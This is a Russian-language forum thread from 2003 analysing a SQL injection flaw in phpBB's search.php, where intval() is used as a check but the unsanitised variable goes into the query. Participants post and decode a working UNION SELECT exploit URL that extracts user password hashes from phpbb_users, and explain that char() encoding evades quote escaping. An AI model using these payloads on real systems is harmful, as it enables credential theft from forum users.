Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

в чем уязвимость или найди отличие (php)

250
24 декабря 2003 года
Joker
1.4K / / 20.02.2000
1е:
 
Код:
if ( intval($search_id) )
      {
         $sql = "SELECT search_array
            FROM " . SEARCH_TABLE . "
            WHERE search_id = $search_id  
               AND session_id = '". $userdata['session_id'] . "'";

2е:
 
Код:
$search_id = intval($search_id);
      if ( $search_id )
      {
         $sql = "SELECT search_array
            FROM " . SEARCH_TABLE . "
            WHERE search_id = $search_id  
               AND session_id = '". $userdata['session_id'] . "'";


согласно заявлению сдесь:
http://www.phpbb.com/phpBB/viewtopic.php?t=153818
1е код содержит уязвимость ака скуэль инжектинг

if ( intval($search_id) ) если $search_id текст просто не запустит в цикл.., т.е опасности все равно на мой взляд нет..

конешно этот вареант, как то эстетичней в плане секьюретности.. но суть на мой взгляд не меняется..
$search_id = intval($search_id);
if ( $search_id )

Вожет я фишку какую не уловил ?
250
24 декабря 2003 года
Joker
1.4K / / 20.02.2000
сам спросил сам ответил:)
search_id=1'
я думаю после этого все ясно.
всем удачи.
250
24 декабря 2003 года
Joker
1.4K / / 20.02.2000
нашел эксплойт к нему но вот теперь что не понимаю:
Код:
>/$folder/search.php?search_id=$search_id%20union%20select%20concat(char(97,5
>8,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,
>116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108
>,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,
>58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105
>,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,1
>15,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,
>95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,11
>5,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,1
>12,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,
>114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_i
>d=$user_id/* HTTP/1.0\r\n\r\n";

в чем смысл: concat(char(97,5 ....
1.9K
25 декабря 2003 года
SumroK
49 / / 18.09.2003
мдя... тяжелоато понять всю эту муть
283
25 декабря 2003 года
Alone
910 / / 20.11.2002
хм...
странный код
зачем использовать concat(char(97,5 сам не пойму... возможно чтобы запрятать потенциально опасные символы("'\& и прочее) или какойто дополнительный обход безопастности скриптов мол и так можно передать код
291
25 декабря 2003 года
gufy
703 / / 08.01.2003
скорее всего под concat(char(91,...)) выйдет строка содержащая нечто ужасное, но она содержит в себе и дофигищу чисел, и видимо имеется в виду что intval для этой строки выйдет валидным ну скажем то же 91. по-другому до меня не доходит.
просто пхп под рукой нет, не могу проверить.
250
25 декабря 2003 года
Joker
1.4K / / 20.02.2000
Цитата:
Originally posted by gufy
скорее всего под concat(char(91,...)) выйдет строка содержащая нечто ужасное, но она содержит в себе и дофигищу чисел, и видимо имеется в виду что intval для этой строки выйдет валидным ну скажем то же 91. по-другому до меня не доходит.
просто пхп под рукой нет, не могу проверить.


Интвал будет валидным если в строке есть хотябы одно число.. , что уже продеманстрировано 1'
П.с к сожалению, пхп тоже нет под рукой..
В реальности с таким запросом ничего не выводится.. да он срабатывает прокатывает на ура и все..

Интересно что и такой запрос не прокатит:

 
Код:
?search_id=1%20union%20select%20user_password%20from%20phpbb_users%20where%20user_id=2/*

хотя юзер с таким айди есть. и тот же запрос с цифирками выдавал кол во записей.. (там в верху где результат найденого)
Почему так ?
250
26 декабря 2003 года
Joker
1.4K / / 20.02.2000
алоне соре что удалил твое сообщение, если не в лом повторись.. а я отвечу:
про инт вал я тоже самое сказал :)
А вот про char тра тата мне так и не стало понятно..
И еще не понятно почему неготивной результат при если место этой лабуды поставить *
291
26 декабря 2003 года
gufy
703 / / 08.01.2003
кстати, в доке вообще нет такой функции char, есть только chr-но это традиционная функция преобразрвания из ASCII в символ...
283
26 декабря 2003 года
Alone
910 / / 20.11.2002
НУ Joker... :) уже и покритековать нельзя :)

в том посте(что был удален) я искренне удивлялся тому что [phpdoc]intval[/phpdoc] назывался валидатором

и еще привел что скрывается(по мнению моей mySQL) за теми кодами:
 
Код:
a:7:{s:14:"search_results";s:1:"1";s:17:"total_match_count";i:5;s:12:"split_search";a:1:{i:0;s:32:"user_password";}s:7:"sort_by";
i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:6:"topics";s:12:"return_chars";i:200;}


2 gufy:
как нет ??
http://www.mysql.com/doc/ru/String_functions.html
1.8K
27 декабря 2003 года
MishaSt
170 / / 11.08.2003
Смысл очень простой, PHP слеш подставляет перед "'", поэтому используя char() можно обойти это ограничение:
Запрос:
script.php?some_var=' '
Скрипт:
<?php echo $some_var ?>
Результат:
\\'
Примечание: в последовательности \\' символ "'" не является символом, открывающим, или закрывающим апостоф. Т.е INSERT INTO MyTable VALUES('\\'') вставит в тавлицу MyTable символ "'".
Второе,
 
Код:
a:7:{s:14:"search_results";s:1:"1";s:17:"total_match_count";i:5;s:12:"split_search";a:1:{i:0;s:32:"user_password";}s:7:"sort_by";
i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:6:"topics";s:12:"return_chars";i:200;}

Есть ничто иное, как сериализованные переменные. С помощю сериализации можно сохранять/восстанавливать значения переменных в/из файл(а)/поле(я) таблицы. Ну так вот, делается этот concat, чтобы выбор из таблицы паролей был тоже в сериализованном виде. Потому, что он там ниже по коду делает десериализацию данных, возвращённых из запроса.
Третье,
 
Код:
if ( intval($search_id) )
      {
         $sql = "SELECT search_array
            FROM " . SEARCH_TABLE . "
            WHERE search_id = $search_id  
               AND session_id = '". $userdata['session_id'] . "'";


2е:

 
Код:
$search_id = intval($search_id);
      if ( $search_id )
      {
         $sql = "SELECT search_array
            FROM " . SEARCH_TABLE . "
            WHERE search_id = $search_id  
               AND session_id = '". $userdata['session_id'] . "'";

Разница в том, что в первом он проверяет intval($search_id), а потом использует $search_id. Может случится так, что intval вёрнёт что-то отличное от нуля, и при этом будет в $search_id содержаться что-то нехорошее.
Во втором случае, в $search_id будет только лишь число.
291
27 декабря 2003 года
gufy
703 / / 08.01.2003
2Alone
sorry, по задумчивости пошел на php.net и искал в тамошней доке)))
250
30 декабря 2003 года
Joker
1.4K / / 20.02.2000
Цитата:
Originally posted by gufy
2Alone
sorry, по задумчивости пошел на php.net и искал в тамошней доке)))


А почему * не прокатывает место все этой штуки..
? такое ощущение что запрос в принципе не срабатывает ..

Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог